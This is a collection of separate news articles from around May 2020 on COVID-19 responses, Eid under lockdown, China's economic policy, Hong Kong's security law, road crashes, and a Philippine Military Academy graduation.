Grace Wang Xiaojun, deputy director of the United Nations Office for South-South Cooperation (UNOSSC), expressed the hope that the knowledge, lessons and good practices from both countries would provide useful insights to doctors and medical professionals, and eventually lead to a fruitful exchange and friendship between them.

Participants discussed such issues as differentiated treatment methods for mild and severe patients, strategies for optimizing the usage of personal protective equipment and development of vaccines.

The Global MedixChange on Combatting COVID-19 is a platform initiated by Alibaba Foundation and Jack MA Foundation to provide knowledge, tools, and support globally to medical experts, researchers, as well as other stakeholders through live webinars, dialogues and other means.

Over the past five decades, 70 SAHZU staff members have provided medical aids in five African countries. Since the onset of the COVID-19 outbreak, about 200 SAHZU medical professionals have provided their services at Wuhan.
The semitrailer traveled across all lanes and struck the concrete median wall, where it burst into flames. The driver, Kuldeep Singh Palak, was able to escape unharmed, police said.

The semitrailer was owned by Tri-Star Carriers, which is based in Ontario, Canada, and was loaded with 37,000 pounds of frozen pork en route for Ottawa, Ontario, from Oakland, Iowa. The contents of the trailer were lost because of the fire, police said.

The eastbound lanes of the interstate remained closed for several hours for investigation and cleanup.

Indiana State Police said after they conclude their investigation, they will present their case to the Porter County prosecutor's office for possible charges or citations.

The Porter Police Department, Chesterton Police Department, Porter County hazmat and the Porter Fire Department assisted in the investigation, the coroner's release said.

State police asked drivers to slow down in construction zones and yield to emergency vehicles.
Google Maps' Timeline feature reportedly shows places the Tamil Nadu man has never been to.

Google Maps is one of the best navigational platforms available online. The app enjoys a 4.3 rating on the Google Play Store and it has registered over 5 billion installs on the platform. Needless to say that it is a popular app and is well liked by its users. But a Tamil Nadu based man is not happy with Googles navigation app. Infact, he is so angry with the platform that he has even filed a complaint with the local police station raising his concerns.

Filing a police complaint against a seemingly harmless may seem unreasonable, but R Chandrasekhar, the 49-year-old man who hails from Mayiladuthurai in the Nagapattinam district, has a reason: marital troubles.

The notion that Google Maps might cause troubles in a mans marital life seems absurd. But, according to a report by The News Minute, Google Maps app on Chandrasekhars phone shows places that he has never been to. This has caused his wife not to trust. The condition is such that his wife reportedly questions him regularly about his whereabouts which in turn has led to emotional troubles and familial problems.

For the last few months, my wife has been constantly scanning the 'Your timeline' feature on Google Maps and refuses to let me sleep, as she questions where I was. She is constantly thinking about this, is getting affected and affecting the rest of the family too," he wrote in his complaint as per the publication.

Despite several talks, she is refusing to listen. She believes Google over anything else. Google is causing strife in my family life. So I ask you to take action against Google and ensure justice for me. I also ask that Google give me compensation for causing so much strife," he added.

The police on its part have not filed an FIR yet. It is considering calling the couple for counselling.

As far as Google Maps is concerned, the information shown in Maps Timeline feature is based on points of interest and the accuracy of the feature is according to the nearest places visited. This means that the feature may not always depict the exact location that a user might have visited. Point being, next time if you find your partner checking in at a suspicious location via Google Maps, trust that the location might not be accurate...not always.
New Delhi: In the meeting of the Islamic Cooperation Organization (OIC), Pakistan has always suffered a big blow to the new pioneer who has tarnished the image of India. Pakistan's conspiracy to propagate Islamophobia against India has once again failed. During the OIC meeting, Maldives has strongly reprimanded Pakistan, taking India's side.

Maldives said in the OIC meeting that the accusation of Islamophobia on India is absolutely wrong. The world's largest democratic country, India has more than 200 million Muslims. The Maldives said that the false accusation of Islamophobia on India would harm religious harmony in South Asia.

Two days ago, OIC had expressed concern over the alleged cases of 'Islamophobia' in India while speaking in the language of Pakistan. On Thursday, Union Minister Mukhtar Abbas Naqvi responded on behalf of India in the OIC meeting. He said that 'India is a paradise for Muslims and those who are trying to spoil this environment cannot be friends of Indian Muslims'. Pakistan is engaged in a conspiracy to spread the lie that Muslims are being tortured in India.

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China's communist rulers avoided setting an annual growth target for the first time in decades Friday, as they struggle to deal with the "immense" economic challenges caused by the coronavirus pandemic.

Analysts say the move points to China missing its key political goal of doubling gross domestic product from 2010 levels, a blow to the ruling party's pledge to provide prosperity in exchange for unquestioned political power.

The government usually sets economic growth targets that it regularly exceeds.

But this year, given "great uncertainty" caused by the pandemic, Beijing will not set a target but "give priority to stabilising employment and ensuring living standards", Premier Li Keqiang told the opening of the National People's Congress.

Before the pandemic, Beijing was widely expected to announce a growth target of around six percent this year.

But with the COVID-19 shock causing economic growth to shrink 6.8 percent in the first quarter, such a target was seen as no longer feasible.

Apart from raising its budget deficit target this year, China will issue another one trillion yuan ($140 billion) of government bonds for COVID-19 control, Li said, calling these "extraordinary measures for an unusual time".

The added funds will be transferred to local governments, to be primarily used for ensuring employment, meeting basic living needs, and protecting market entities.

Li also said governments at all levels should "tighten their belts", and that all types of surplus, idle and carryover funds will be withdrawn and re-allocated, to be put to better use.

Beijing will also issue 3.75 trillion yuan ($526 billion) in special local government bonds this year, in part to boost infrastructure spending in the virus-hit economy.

It will make further tax and fee cuts as well to help firms.

China has said it will tap its massive domestic consumer market to support the economy after external demand collapsed.

Story continues

But the official urban unemployment rate rose to six percent last month, with analysts saying the real figure could be even higher.

Li said the government aims to ensure the urban unemployment rate remains around this figure, through the creation of over nine million new jobs.

- Large price to pay -

The growth target is typically seen as a signal of the resources leaders are willing to spend to shore up the economy.

Tommy Xie, head of Greater China Research at OCBC Bank, told AFP this year's move is "realistic", reflecting global uncertainties from both COVID-19 and rising geopolitical tensions.

Analysts, however, believe the country still holds an implicit growth target of two to three percent for 2020, given its ambitious employment goals.

Li said China is "keenly aware of the difficulties and problems" the country faces, with COVID-19 sending the world economy into recession.

Although Beijing had "paid a large price" economically in its virus fight, he added it "was a necessary and worthy price to pay".

However, Xie said China's support measures remain below levels seen in other countries, lagging behind a global norm of around 10 percent of GDP.

Using similar guidance, this would translate to around 10 trillion yuan in stimulus.

Instead, Beijing has left itself "an open-ended option" for stepping up fiscal support if the situation worsens, he said.

Song Houze, a research fellow at the Paulson Institute, believes Beijing likely expects a "slow and uncertain" recovery from COVID-19.

Iris Pang of ING told AFP that officials' support were below her expectations, although the work report tends to understate the fiscal budget -- meaning authorities could beef up numbers if jobs do not recover or trade tensions worsen.

She added the report this year made "wise" political choices, given that having no growth target is less damaging than failing to meet a lowered one.
Source: Xinhua| 2020-05-23 01:59:26|Editor: huaxia

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GENEVA, May 22 (Xinhua) -- The World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus on Friday warned that the COVID-19 outbreak undermines life-saving immunization services around the world, putting tens of millions of children at risk.

Speaking at a virtual press conference from Geneva, the WHO chief said that as the world comes together to develop a safe and effective vaccine for COVID-19, countries must not forget the dozens of lifesaving vaccines that already exist and must continue to reach children everywhere.

"Initial analysis suggests the provision of routine immunization services is substantially hindered in at least 68 countries and is likely to affect approximately 80 million children under the age of 1 living in these countries," he said.

"Any suspension of childhood vaccination services is a major threat to life," the WHO chief added.

He stressed that maintaining people's trust in the ability of health systems to provide essential services safely is crucial to ensuring people continue to seek care when needed and follow public health advice.

According to him, the WHO will soon publish new guidance on implementing mass vaccination campaigns in the context of COVID-19.

"Since the turn of the century, child mortality has been halved in large part because of the power of safe and effective vaccination," he said, adding that the WHO is working with governments around the world to ensure supply chains remain open and lifesaving health services are reaching all communities. Enditem
At least 21 occupants of a shelter home that houses outstation patients and their attendants who come to the Capital for treatment at the All India Institute of Medical Sciences (AIIMS) tested positive for Covid-19 on Thursday evening, district officials aware of the developments said.

Many of the infected -- including a seven-year-old who has been battling cancer for over two years -- are already suffering from serious diseases and are in need of long-term treatment.

The cases emerged after two patients suffering from kidney ailments who were staying at the same Delhi government shelter tested positive on Monday. The Covid positive reports of the 21 at the shelter, majority of whom are patients of cancer and kidney disease, came on Thursday evening. Following the two kidney patients who were found positive earlier, tests were conducted of 51 occupants, one of the district officials cited above said on condition of anonymity.

He added that all the 21 fresh infections were moved to quarantine facilities at the Lok Nayak Hospital, Rajiv Gandhi Super Specialty Hospital and AIIMS Jhajjar; at least seven other people from the shelter who have symptoms of the disease, but whose tests results are awaited, have been taken to the Chhatarpur quarantine facility; around 50 others, mostly attendants, have been put under in-situ quarantine at the shelter itself.

The Delhi Urban Shelter Improvement Board (DUSIB) shelter home (number 148) located near gate number 5 of AIIMS had over 80 occupants until Thursday.

These patients were living in a rain basera (night shelter)-like place. They have been admitted to various hospitals for treatment. Actually, only those with some comorbid conditions are admitted to hospitals, said Dr DK Sharma, the medical superintendent of AIIMS.

A DUSIB official, who asked not to be named, said the staff has been sanitising the shelter complex, including the common toilets and bathing spaces. The shelter has a capacity of housing around 300 people. Most of the patients and their families have already left for their home states over the past weeks, so there is enough room for maintaining social distancing. We ensure that patients do not come in close contact with each other, he said.

People staying at the shelter said that it had around 200 occupants until last month but a a large number of occupants left for their native villages over the past few weeks because the AIIMS out-patient department (OPD) was shut from March 24 onwards because of the national lockdown to contain the Covid-19 spread. Only emergency services, as well as some other wings such as cancer and gynaecology, were open with limited staff. The AIIMS administration had earlier this week said that select OPD services are likely to open soon, but have not been reopened yet.

The mother of the seven-year-old who has been infected said they had travelled for treatment from Darbhanga in Bihar. My son has been suffering from a critical disease already, and now he has got this virus. We could not even leave from Delhi -- I dont know what will happen now and when will they return, the woman said over the phone. She is in quarantine at the shelter with her two other children.

Sandhya Devi, who came for her husbands treatment for a liver tumour in February from Gopalganj, said they were waiting for his last chemotherapy session scheduled for May 27, after which they had hoped of leaving for home. The doctor had told us that after the last chemo session, my husband may be fit enough to go back. Now, I dont know for how long we will have to wait for treatment, she said.

The occupants at the shelter have been using the common toilet facilities. Though we provide food and other essentials, they have been tired of the long wait to go back home. Since many of them were already battling diseases, the families have been worried of their members contracting the virus, said Nitesh Kumar, project coordinator, SPYM, an NGO that runs the shelter for the Delhi government.

The media advisor to the chief minister Arvind Kejriwal said, We will examine the matter and directions will be issued to concerned agencies for swift action.

Sunil Kumar Aledia, a social activist who works with homeless people, said: The government must arrange for proper medical care for these patients because they are already facing trauma because of the diseases and running out of their savings because of the lockdown.

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ABOUT THE AUTHOR Vatsala Shrangi Vatsala Shrangi joined HT Editorial team on July 2, 2018 as Principal Correspondent. She covers Environment, Civic bodies and the Social Sector. ...view detail
As the holy month of Ramadan draws to a close, the Sultan of Sokoto, Alhaji Saad Abubakar III, has directed that Eid fields remain closed, instructing Sokoto District Heads, Village Heads and Imams of Jumaat Mosques to lead Eid-el-Fitr prayers in their respective mosques.

Abubakar said the directive is to enable the people maintain the social distancing advised by professionals in order to curtail the spread of Coronavirus pandemic across the state.

Moreover, there should be no gathering or traditional celebration during the period, as such people should remain at their respective residences to celebrate, he said.

Alhaji Saad Abubakar III further instructed Muslims all over Nigeria to look out for the new moon of Shawwal 1441 AH from Friday.

Abubakar passed this announcement in a statement signed by Prof. Sambo Junaidu, Chairman, Advisory Committee on Religious Affairs, Sultanate Council, Sokoto, and issued to newsmen on Thursday.

This is to inform the Muslim Ummah that Friday, May 22, 2020, which is equivalent to 29th day of Ramadan 1441 AH, shallbe the day to look out for the new moon of Shawwal 1441 AH, he said.

Muslims are, therefore, requested to start looking out for the new moon and to report its sighting to the nearest district or village head for onward communication to the Sultan, the statement continued.

Shawwal is the 10th month in the Islamic Calendar and the month in which Muslims celebrate Eid-al-fitr after the compulsory fasting month of Ramadan.

The Emir of llorin and Chairman, Kwara State Traditional Council, Alhaji Ibrahim Sulu-Gambari, has meanwhile seconded the move in Sokoto, directing all Muslims in the state to pray at home as the 2020 Eid-el-Fitr celebration draws close. This is in order to maintain social distance in compliance with the governments directives.

Alhaji Abdullahi AbdulHameed, the Chief lmam lmale of llorin, issued the advisory on behalf of the Emir during an interview with the News Agency of Nigeria in llorin on Thursday.

AbdulHameed, who is also the Vice Chairman of the council of Ulama for llorin Emirate, said the directive is imperative in order to allow Muslims in the state continue to maintain social distancing.

The giant stride at combatting the spread of Coronavirus in Kwara, His Royal Highness, Alhaji lbrahim Sulu-Gambari, in his capacity as the Vice President of the Jamatul Nasril lslam directs all Muslims to make sacrifice by keeping off from Eid praying grounds on Sallah day, AbdulHameed said.
A driver who crashed into a Muslim fashion store injuring more than a dozen people has been arrested again - as a first responder reveals how a vigilante reached into the car and bashed him up.

Fourteen people were injured when a man, 51, ploughed his car into Hijab House in Greenacre, in Sydney's south-west, about 3pm on Thursday afternoon.

The driver was interviewed by police but was released without charge on Thursday evening.

However, police announced on Friday afternoon that he had been re-arrested at home in Greenacre and was expected to be charged.

It comes as mobile phone video emerged appearing to show a bearded man in a black T-shirt scuffling with the man immediately following the crash.

First responder Dr Nafi Musa said he saw that man punching the driver - who did not fight back but raised his fists in a protective stance.

'(The man) was like, angry, and punched him,' the GP told Daily Mail Australia on Friday morning.

Several women suffered cuts from the glass at the front of the store exploding open when the car ploughed through

Harrowing scenes: Mobile phone footage captured a man, centre, emerging from the Mitsubishi SUV after it shook violently. Local GP Nafi Musa, right, rushed to help the injured

Police, paramedics and witnesses immediately after the car rammed the store

'It looked like he was trying to retaliate or maybe a shop belongs to someone's relative.

'When I saw him, he was protecting himself, the driver, he was not fighting back.'

Dr Musa said a woman screamed something along the lines of 'it was an accident, it was an accident ... it was not intentional so leave him alone'.

Video shows the man then leaving the store as a woman yells - including 'get him out' - while other witnesses ask how many people were in the car at the time of the crash.

A New South Wales Police Force spokeswoman said it hasn't received reports about punches being thrown.

Dr Musa works two doors down from the store. He rushed out of his GP clinic after hearing a huge explosion while treating his final patient of the day.

'There were a lot of people lying, in pain, shock, screaming,' he said.

Dr Musa said he first went to check whether anyone was trapped underneath the car, but thankfully no one was.

He treated a man in his 20s who was struck in the thigh by the car as well as three women bleeding from cuts he attributed to broken glass.

The doctor said the driver just sat in the car and didn't do or say anything, and was convinced he 'looked normal'.

Shocked locals console one another after the brutal crash this week. Police have said they are grateful no one was killed

The van (pictured) has now been removed from the Hijab House store following hurs of police investigations

The driver is known to police for previous traffic offences. He was interviewed by investigators last night but was released without charge as investigations continue.

The investigation will examine whether he suffered any medical episode or the car - which has been removed from the scene had mechanical problems.

The crash left 14 people injured, with Police Assistant Commissioner Peter Thurtell telling reporters he was 'very grateful' nobody had been killed.

None of the injuries are life-threatening, but several victims were left with serious injuries and broken legs.

Among the injured was a 13-year-old girl, who was rushed to hospital.

Police said the car crashed into another vehicle stopped at the traffic lights moments before driving into the busy store.

Most of the victims are believed to be women aged between 18 and 30 and were in the store shopping at the time of the crash.

So far, one victim was in a serious condition.

Emergency services rushed to the scene (pictured) on Thursday, but no-one suffered life-threatening injuries

The store was particularly busy ahead of Eid al-Fitr this weekend, the festival that marks the end of Ramadan.

The driver was arrested and taken to Liverpool Hospital for assessment and mandatory testing.

After being discharged, he was taken to Bankstown Police Station where he was interviewed by police and released.

A spokesman for Hijab House confirmed both customers and staff were injured in the crash.

'A number of our customers and staff members were injured.

'The community is shaken and management is working to make sense of this tragedy.

Police are still investigating how exactly the crash unfolded

'At this stage motives are unknown. The important thing is everyone is still alive.'

John Makhlouf, who owns a nearby petrol station, said he saw the car careen through the intersection and into the shop, after 'pushing' another vehicle out of the way.

'I saw a lot of smoke and heard a beeping horn.

One car got pushed out of the way and the other car went straight into the shop and crashed and you could hear the horn constantly beeping,' he told the ABC.

'It's very lucky there was no one standing on the corner or crossing at the lights because they would have been hit.'

A worker at the Al Aseel restaurant next door said 'police and ambulances were everywhere'.
HARRISBURG -- Maj. Nathan Snee has trained for a lot of different scenarios.

The Lebanon resident is a medical planning officer with the 193rd Special Operations Medical Group of the Air National Guard, specializing in the military acronym of CBRN  chemical, biological, radiological and nuclear events.

While hes trained for heading up responses to these events, hes leading a new kind of group to fight a new kind of enemy. An invisible one.

The coronavirus.

Its something thats totally different, he said.

And the Pennsylvania Army and Air National Guard are playing a big role in this new fight.

About 1,300 Pennsylvania National Guard members have been activated over the past two months to help out through the pandemic. Some have been in the news as they filled staff vacancies at nursing homes, but theyve had plenty of other jobs in this fight, too. Theyve helped establish testing sites, have transported supplies and trained people in the use of personal protective equipment.

These activities are happening all over Pennsylvania, and its all being coordinated out of Harrisburg in a joint medical operation.

Its called Joint Task Force Iron, headquartered at the 28th Infantry Divisions location on 14th and Calder streets. Their command center is a large room designed for warfighter exercises  large screens on the walls, stadium seating with laptop plug ins. It has now been converted into a coronavirus-response hub in what military leaders say is the first major medical operation of its kind in Pennsylvania, combining Army and Air Force National Guard, along with some Reservists who had been activated early on.

The Pennsylvania Army and Air National Guard are working together to fight the coronavirus, coordinating out of Harrisburg. Here the task force's leadership holds a briefing while social distancing.

Army National Guard Lt. Col. Mark Thomas, of Mechanicsburg, is the operations officer for the task force, helping to coordinate the deployment of troops to support the missions requested by the communities around the state, he said.

Whats unique about this mission is its the first time that we have mobilized a large force to work within the medical community in support of staffing needs in Pennsylvania long-term care facilities, he said.

He explained it starts with the medical planning team, which goes in to assess what kind of support a nursing home needs. They then provide that support, which often involves assisting with staffing shortages.

We have nurses and medics who go in and backfilling those personnel, Thomas explained. We are also providing some additional personnel to perform ongoing, daily duties to help sterilize and provide a safe environment.

While many of the guard members have been deployed overseas at one point in their careers, they may not necessarily have experience in elder care and are experiencing that for the first time, he said. But some are also in this line of work for their civilian jobs, bringing in their expertise.

The National Guard has hundreds of different jobs, Thomas said. Were very proud of our personnel and the missions theyve performed. This is a new role for us, it has worked out very well, and were glad we were able to assist the communities at their time of need.

Snee has been part of this new fight since the beginning. As the task forces medical planning officer, he helped establish the states first coronavirus testing site in Montgomery County back in March. Its still in operation and has conducted more than 10,500 tests so far, he said.

He also coordinates the teams that assess and go into to nursing homes.

Based on their needs, were able to tailor a team to go out and provide support, he said.

So far, the guard has helped out in one way or another at about two dozen nursing homes.

But the troops out in the field need their support, too, and thats where Capt. Ashely Dotson, of Williamsport, comes in. Shes a psychiatrist in her civilian job and is one with the 28th Division Surgeon Cell on her guard weekends, too. But now, shes working as the lead behavioral health specialist for the planning team.

They have six behavioral health officers on staff who go out to see the guard members who are working in the nursing homes to help them deal with the stress, and sometimes the grief, that can come with the job.

Were not used to fighting this enemy, Dotson said. This is very new for everybody, and we want to make sure were evaluating the needs that might be coming up for our teams.

Troops in nursing homes, like any employee there, become attached to the residents in their care. And since nursing homes account for two-thirds of Pennsylvanias coronavirus deaths, the troops are often faced with the grief that comes with this kind of loss.

A lot of them are not used to anything medical, let alone being in a nursing home and managing different situations where people are dying at pretty rapid rates," she said.

Its an enemy that is invisible and unpredictable, she said. And theyre not used to becoming friends with the people theyre there to protect.

But she said the troops are holding up well and are using her services when they need to as they continue to fight the coronavirus.

The task force is wrapping up its large-scale operation this week as many of the states counties are transitioning to the yellow phase, lifting some coronavirus restrictions.

But the medical team will still be on hand, coordinating National Guard support throughout the pandemic.

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Police issue protesters with fines for breaking social distancing rules in Hong Kong on May 22, 2020. A proposal to enact new Hong Kong security legislation was submitted to China's rubber-stamp on May 22, a move expected to fan fresh protests in the semi-autonomous financial hub. (ANTHONY WALLACE/AFP via Getty Images)

Protests to Continue in Hong Kong After Details of CCPs National Security Law Emerge

Beijing has made it clear that it is aiming to bypass Hong Kongs legislature to impose a new draconian national security law in the city that critics have slammed as destroying Hongkongers basic freedoms.

On May 22, Wang Chen, vice chairman of the Peoples Republic of Chinas (PRC) Standing Committee of the National Peoples Congress (NPC), Chinas rubber-stamp legislature, said the national security law was needed because Hong Kong was facing ever-increasing national security risks and the citys one country, two systems model was being seriously challenged. It had also become clear over the years that a national security bill like Article 23 would not be passed by the Hong Kong legislature.

Article 23, an anti-subversion bill, was first proposed in the Hong Kong legislative council in 2003. But it had to be scrapped after half a million Hongkongers took to the streets in protest, with the view that such a law would threaten the citys autonomy and their basic freedoms of assembly, belief, and expression if seen as a threat by the central government in Beijing.

Protesters march during a demonstration against Article 23 and bans on freedom of association in Hong Kong on July 21, 2018. (VIVEK PRAKASH/AFP via Getty Images)

Since then, there have been repeated calls by pro-Beijing lawmakers in Hong Kong to reintroduce the bill, particularly after anti-Chinese Communist Party (CCP) sentiment swelled in June last year with the Carrie Lam governments extradition bill. That bill was also scrapped after millions of Hong Kong people protested against what they perceived was Beijings increasing political influence in the citys affairs.

The CCPs draft on how to establish a compatible legal system and enforcement mechanism for safeguarding national security in the Hong Kong Special Administrative Region was also revealed.

Hong Kong Chief Executive Carrie Lam (R) and Macau Chief Executive Ho Iat Seng (C) attend the opening session of the National Peoples Congress (NPC) at the Great Hall of the People in Beijing on May 22, 2020. (LEO RAMIREZ/AFP via Getty Images)

The draft said that the NPCs standing committee will be empowered to draft related laws to prevent and punish any activities that are connected with secession, subversion of state power, terrorism, and foreign interference against the PRC government.

Beijing has repeatedly accused Western governments of fueling the protests in Hong Kong and interfering with its internal affairs, calling on the One Country, Two Systems framework.

The PRC has been known to accuse dissidents of subverting state power in an effort to silence them in the mainland and Macao, which passed the contentious Article 23 legislation in 2009.

The draft also called for Beijing to establish a new institution in Hong Kong to safeguard national security.

The national security law will be added to Annex III of the Basic Law, Hong Kongs mini-constitution, meaning that the law would be implemented without going through legislative process at Hong Kongs Legislative Council (LegCo).

Article 18 of the Basic Law states that national laws shall not be applied in the Hong Kong Special Administrative Region except for those listed in Annex III to this Law.

Those laws can be effected once the citys chief executive issues a legal notice in the Government Gazette, paving the way for the laws to be applied verbatim.

Wang added that the NPCs standing committee will be reviewing a State Council report on how to safeguard national security in Hong Kong.

Opposition

Pro-democracy lawmaker Eddie Chu took to his Facebook page to criticize the PRCs draft law, pointing to risks that Hongkongers will face if Beijing succeeds in establishing an institution of the central government to enforce the PRCs national security needs.

Chu explained that the institute would pave the way for undercover police officers of the Chinese regime to legally enter Hong Kong. Chu questioned whether Hongkongers would still be protected by Hong Kong laws, such as having access to a lawyer if they are detained, interrogated, or arrested by Chinese officers.

Chu also expressed concerns about what authorities could protect Hongkongers if they are tortured by Chinese officers for endangering Chinas national security.

Finally, Chu questioned what authority Hong Kong police will have under the proposed law if they receive reports of people being detained by Chinese officers.

Jimmy Sham, convener of the Civil Human Rights Front (CHRF), poses during an interview with AFP in Hong Kong on August 20, 2019. (ANTHONY WALLACE/AFP/Getty Images)

Jimmy Sham, convener of pro-democracy group Civil Human Rights Front (CHRF), said that the new law will destroy human rights, democracy, freedom, and the rule of law in Hong Kong, wiping out the citys economic prosperity.

Sham called on people to support protests being organized by the group, adding that more than 2 million must show up if there is any hope for a Hong Kong free from the CCP.

Chinese leader Xi Jinping (L) and Premier Li Keqiang (R) arrive for the opening session of the National Peoples Congress (NPC) at the Great Hall of the People in Beijing on May 22, 2020. (LEO RAMIREZ/AFP via Getty Images)

The local pro-democracy Civic Party stated on its Facebook page that the communist regime in Beijing is a murderer that is intent to kill the protections and high degree of autonomy promised to Hong Kong under One Country, Two Systems with the introduction of the new CCP institution in the city.

Another pro-democracy party, Demosisto, wrote on Twitter that Beijing completely ignores the will of Hongkongers by implementing the law without Hong Kongs legislative scrutiny.

Beijings move to impose greater political will over Hong Kong has already met with stern warnings from the Trump administration in the United States and lawmakers from the United States, the United Kingdom, Australia, and Taiwan.
 Flash

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The third annual session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing on May 22. Chinese Premier Li Keqiang delivers a report on the government's work since the NPC's last session.
JERUSALEM - Muslims worldwide will celebrate one of their biggest holidays under the long shadow of the coronavirus, with millions confined to their homes and others gripped by economic concerns during what is usually a festive time of shopping and celebration.

The three-day Eid al-Fitr marks the end of the fasting month of Ramadan for the worlds 1.8 billion Muslims. People usually celebrate by travelling, visiting family and gathering for lavish meals  all of which will be largely prohibited as authorities try to prevent new virus outbreaks.

The holiday will begin on Saturday or Sunday, depending on the sighting of the new moon, and the dawn-to-dusk fasting of Ramadan will come to an end.

Some countries, including Turkey, Iraq and Jordan, will impose round-the-clock curfews for the duration of the holiday. In Saudi Arabia  home to the holy cities of Mecca and Medina  people will only be allowed to leave their homes to buy food and medicine.

But even in countries that have largely reopened, the holiday wont be the same.

Most restrictions have been lifted in Jerusalem, but the Al-Aqsa mosque compound  the third holiest site in Islam  will remain closed until after the holiday. Shopkeepers in the Old City, which has been emptied of tourists and pilgrims since March, are reeling from the effects of six weeks of lockdown.

The Jafar familys famous sweets shop in the Old City is normally a hive of activity, with tourists and locals enjoying knafeh, a syrupy cheese-filled pastry. These days the seating area is empty and dark as only takeout is allowed.

It had a huge impact on us, said Ali Jafar, one of the owners, as he worked the counter. He said business has dropped by more than two thirds, forcing them to lay off 10 workers.

In Egypt, authorities have extended the nighttime curfew, which will now begin at 5 p.m. instead of 9 p.m., and halted public transportation until May 29. Shopping centres, malls, beaches and parks  which would ordinarily be packed  will be closed.

Manal Zakaria, who lives in the city of Alexandria on the Mediterranean coast, said her family usually celebrates by gathering for big meals, singing, dancing and taking group photos.

I am very, very, very sad because I will not be seeing my siblings and their children, she said. No matter how much we talk over the phone, there is nothing like coming together.

The virus causes mild to moderate symptoms in most people, who recover within a few weeks. But it is highly contagious and can cause severe illness or death, particularly in older patients or those with underlying health problems.

In Indonesia, the largest Muslim-majority country, President Joko Widodo said restrictions would remain in place through the holiday. The country, with a population of 270 million, has reported more than 18,000 cases, including around 1,200 deaths.

I emphasize, there is no relaxing the policy of large-scale social restriction yet, Widodo said during a virtual Cabinet meeting on Monday.

Since the start of the Ramadan, the government has imposed an outright ban on mudik, a holiday tradition in which millions of Indonesians living in big cities flock to their hometowns to celebrate with relatives. Health experts had warned it could set off a wave of new cases.

This ongoing pandemic has changed our tradition, separated us in celebrating Eid, said Noor Hidayat Asri, a civil servant in Indonesias capital, Jakarta. We are like dealing with a merciless and invisible enemy this time around.

Malaysia will allow people to visit relatives who live nearby, but such gatherings are limited to 20 people. Visitors are urged to wear face masks and to refrain from hugging, kissing and sharing plates. Some mosques have reopened, but congregations are limited to 30 people.

Indias 172 million Muslims are also preparing for a subdued holiday, with large gatherings banned. They have faced heightened stigma, threats and boycotts by many Hindus, who blame the local outbreak on a three-day convention of Islamic missionaries held in March.

In some states, Indian Muslims have launched campaigns urging people to refrain from buying new clothes for the holiday and instead give to the needy.

In Iran, which has endured the deadliest outbreak in the Middle East, authorities have imposed few restrictions ahead of the holiday aside from cancelling mass prayers in Tehran traditionally led by Supreme Leader Ayatollah Ali Khamenei.

Iran has faced criticism for not imposing the kind of lockdown seen elsewhere in the region, but authorities have said they had to weigh the effects on an economy eviscerated by U.S. sanctions. Iran has reported nearly 130,000 cases and more than 7,000 deaths, but the rate of new infections has declined in recent weeks.

In Iraq, the government has allowed most businesses to reopen in the last few weeks but plans to reinstate a 24-hour curfew over the holiday. The streets were busy in the days leading up to Eid as people shopped for clothes, toys and home appliances.

Many people buy presents for Eid. Its good business for us, Ahmed Hashem said as he arranged bicycles outside his shop. The past few months have been difficult.

In war-ravaged Somalia, authorities have urged the cancellation of large gatherings and celebrations, but its unclear whether that will be enforced. Shoppers have packed into markets and shopping centres in the capital, Mogadishu, in recent days.

In the United Arab Emirates, home to the futuristic commercial hub of Dubai, parks and private beaches will be open but groups will be limited to five people. Children under 12 and adults over 60 are barred from malls in Dubai and Abu Dhabi, and other restrictions limit the number of people allowed inside. Restaurants can only operate at 30% of capacity.

Despite the more relaxed approach aimed at buoying the economy, the government announced a nationwide curfew during Eid al-Fitr lasting from 8 p.m. to 6 a.m.

___

Karmini reported from Jakarta, Indonesia. Associated Press journalists around the world contributed to this report.
Metro Manila (CNN Philippines, May 22)  A female cadet from the province of Isabela topped the graduating class of the Philippine Military Academy (PMA) this year.

Gemalyn Sugui bested 195 graduates of "Masidlawin" Class of 2020 to become the sixth woman in history to lead the PMA graduating batch since 1993.

Sugui said graduating at the top of her class came as a surprise to her.

"Siguro may plano ang Diyos bakit nilagay Niya ako sa position na ito kahit na hindi ko man ito pinagdarasal na makuha, binigay Niya sa akin kasi kaya ko," she said in a taped interview.

[Translation: Maybe the Lord has a plan which is why he gave me this even if I didn't pray for it. Maybe He gave it to me because he knows I can handle it.]

The 25-year-old Sugui, who intends to join the Philippine Army, is the daughter of a farmer and a public school teacher. She said it pains her that families are not allowed to attend the private graduation ceremony on Friday afternoon due to the COVID-19 crisis.

"Malungkot talaga ako kasi ito talaga ang hinihintay ng family ko na masaksihan sa lahat ng event ng PMA, ito ang pinaka importante kasi ito na ang pagtatapos ng paghihirap ko dito sa academy," she said.

[Translation: It's sad because they have been waiting for this moment. This is the most important PMA event because it's the culmination of all my hardships.]

She is also being awarded the Presidential Saber, the Achievement Award for Academic Excellence, the JUSMAG Award, the Philippine Army Saber, the Spanish Armed Forces Award, the Social Sciences Plaque, the Management Plaque, and the Rule of Law Award.

The Top 10 were an equal mix of male and female cadets.

Below are the Top 10 of Masidlawin Class of 2020:

1. Gemalyn Sugui of Echague, Isabela

2. Jade Villanueva of Tacloban City

3. Jefferson Salazar of Zamboanga City

4. Rojes Gaile Jamandre of Lamut, Ifugao

5. Jeb Bay-an of Kabayan, Benguet

6. Catabay Ladyong of Tabuk, Kalinga-apayao

7. Vanelyn Angel Tabao of Tuguegarao City

8. June Giel Anne Factor of Ilocos Norte

9. Rubenson Abgao of Baroy, Lanao Del Norte

10. Dencel Aina Bayaca of Pampanga

Of the 196 graduates, 100 will be joining the Philippine Army, 45 opted to join the Philippine Air Force, while 51 will be with the Philippine Navy.

President Rodrigo Duterte attended the joint graduation ceremony of the PMA and the Philippine National Police Academy the same day.

In a speech he congratulated the graduates and reminded them of the value of sticking to their mandate of protecting the country.

"[If] those who are tasked with the maintenance of peace and order and the protection of public and private property do not do their mandate or worse, commit that which they are called upon to prevent or guard against...what then?" said Duterte. "Sinong tutulong ng bayan? (Who will help the country?)"

He also commended their parents although they were not allowed to attend the ceremony.

"All of you owe your parents so much and that is why I said you should be --- I am sure you will find a way to be together even at a distance just to shorten the space, " he said.

He also awarded house and lots worth P2 million from the company of former senator Manny Villar to Sugui and PNPA topnotcher Fire Inspector Lei Anne Banico Palermo. Meanwhile, the class "goat" or the cadet at the bottom rank from each academy also received a new pistol.

The PMA graduation tradition involves a testimonial parade and review to honor retiring alumni and Trooping the Line where cadets assemble in formations on Fort Del Pilar's Borromeo Field in Baguio City.

